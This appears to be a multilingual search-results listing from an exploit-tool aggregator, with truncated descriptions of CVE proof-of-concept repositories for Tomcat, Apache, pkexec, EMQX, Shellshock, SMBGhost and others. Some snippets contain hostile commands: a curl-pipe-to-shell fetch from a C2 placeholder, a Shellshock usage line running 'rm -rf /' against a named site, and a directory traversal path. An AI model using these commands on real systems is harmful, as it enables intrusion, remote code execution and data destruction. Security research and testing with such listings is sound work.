593592 matches found
CVE-2025-24813
Описание Данный репозиторий представляет собой среду для воспроизведения последней RCE-уязвимости CVE-2025-24813 в Tomcat. Только для обучения и исследований! Условия эксплуатации В приложении включена функция записи DefaultServlet, которая по умолчанию отключена Приложение поддерживает частичные...
magento2-encryption-key-manager-cli
Magento 2 CLI для управления ключами шифрования Утилита для ротации и управления ключами шифрования в Magento 2. Жертвы CVE-2024-34102 также известной как Cosmic Sting могут использовать её в качестве последующего обслуживания. Предназначено для Разработка Автоматизация развертывания Последующее...
spring-framework-rce
spring-framework-rce CVE-2022-22965 환경 요구사항 1. tomcat8 8 사용 방법 1. springframeworkrce-0.0.1-SNAPSHOT.zip을 다운로드하여 압축 해제한 후 이름을 ROOT.war로 변경합니다. 2. tomcat 내 webapps 폴더 아래의 ROOT 폴더 또는 ROOT.war를 교체합니다. 3. tomcat 내 bin 경로로 이동한 후 .\catalina.bat run을 실행합니다. 테스트 방법 생략 결과...
cve-2021-4034
CVE-2021-4034 이 도구는 pkexec에서 단일 명령 실행 을 위해 사용됩니다. POC whoami root@kitploit: test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 root@kitploit: test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from...
CVE-2019-17662
CVE-2019-17662 설명 ThinVNC 1.0b1은 임의 파일 읽기에 취약하여 VNC 서버의 손상으로 이어집니다. 이 취약점은 VNC 서버 배포 중 인증이 활성화된 경우에도 존재합니다. 인증 비밀번호는 평문으로 파일에 저장되며, ../../ThinVnc.ini 디렉터리 트래버설 공격 벡터를 통해 읽을 수 있습니다. NIST 익스플로잇 컴파일 방법 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2019-17662 $ cd CVE-2019-17662 $ mak...
CVE-2025-52136
CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께...
firmwalker
firmwalker Простой bash-скрипт для поиска в извлеченной или смонтированной файловой системе прошивки. Он будет искать в извлеченной или смонтированной файловой системе прошивки интересующие элементы, такие как: etc/shadow и etc/passwd список каталога etc/ssl поиск файлов, связанных с SSL, таких к...
firmwalker
firmwalker A simple bash script for searching the extracted or mounted firmware file system. It will search through the extracted or mounted firmware file system for things of interest such as: etc/shadow and etc/passwd list out the etc/ssl directory search for SSL related files such as .pem, .cr...
vault v2.1.0
Vault Please note : We take Vault's security and our users' trust very seriously. If you believe you have found a security issue in Vault, please responsibly disclose by contacting us at [email protected]. Website: developer.hashicorp.com/vault Announcement list: Google Groups Discussion...
cve-2021-41773
Apache 2.4.49 - Обход каталога или удаленное выполнение кода cve-2021-41773.py — это скрипт на Python, который помогает обнаружить уязвимость обхода каталога или удаленного выполнения кода в Apache 2.4.49. Предоставлен уязвимый экземпляр Docker, чтобы можно было опробовать CVE-2021-41773 Если...
CVE-2016-6210
CVE-2016-6210 Перебор имен пользователей для SSH-демонов, затронутых CVE-2016-6210. Используйте только против своих собственных хостов! Атака на то, что вам не разрешено, может привести к большим проблемам! УСТАНОВКА Клонирование репозитория: root@kitploit: git clone...
cve-2021-42013
Apache 2.4.50 - Обход каталогов или удаленное выполнение кода CVE-2021-42013.py — это скрипт на Python, который помогает выявить уязвимость обхода каталогов или удаленного выполнения кода в Apache 2.4.50. Уязвимый экземпляр Docker предоставляется, чтобы опробовать CVE-2021-42013 на практике. Если...
ShockZaum-CVE-2014-6271
CVE-2014-6271 셸쇼크 취약점 공격 스크립트 root@kitploit: ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...
SMBGhost_Scanner
SMBGhost Продвинутый сканер для CVE-2020-0796 - SMBv3 RCE, использующий технику обнаружения ollypwn SMBGhost. Он может сканировать весь интернет с помощью masscan или один IP-адрес. Он может получать больше информации о целях с помощью Shodan требуется API-ключ и записывать результаты в json-файл...
CVE-2024-23897
Jenkins имеет встроенный интерфейс командной строки CLI для доступа к Jenkins из сценария или командной оболочки. Jenkins использует библиотеку args4j для разбора аргументов и параметров команд на контроллере Jenkins при обработке команд CLI. Этот парсер команд имеет функцию, которая заменяет...
poc-proxycommand-vulnerable
RCE через небезопасный /.ssh/config Использование токенов, таких как %h, %p, в ProxyCommand довольно популярно для организации туннелей и проксирования соединений через SSH. Уязвимая конфигурация root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p...
Exploit for Use After Free in Linux Linux_Kernel
root-s24-e1s Per-boot local root on Samsung Galaxy S24 SM-S...
CVE-2017-6206
CVE-2017-6206 В прошивке коммутаторов серии DGS-1510 Websmart обнаружены уязвимости безопасности. Уязвимости включают неаутентифицированный обход команд и неаутентифицированное раскрытие информации. exploit.sh содержит PoC-код и создаёт удалённого пользователя на указанном корпоративном коммутато...
CVE-2023-38545-sample
간단한 설명 이것은 cURL CVE-2023-38545를 시연합니다. 제가 만들 수 있는 한 가장 가볍게 만들었습니다. 설정 먼저 Docker 이미지를 빌드하세요: docker build . -t cveimage 다음으로, 이미지 파일을 간단히 실행하여 임시 Docker 컨테이너를 생성할 수 있습니다. 이 컨테이너는 중지되면 삭제됩니다: docker run --rm --tty --net="host" --name cvecontainer cveimage 명령어 입력이 어려우면 다른 터미널을 열고 다음을 실행하세요: docker...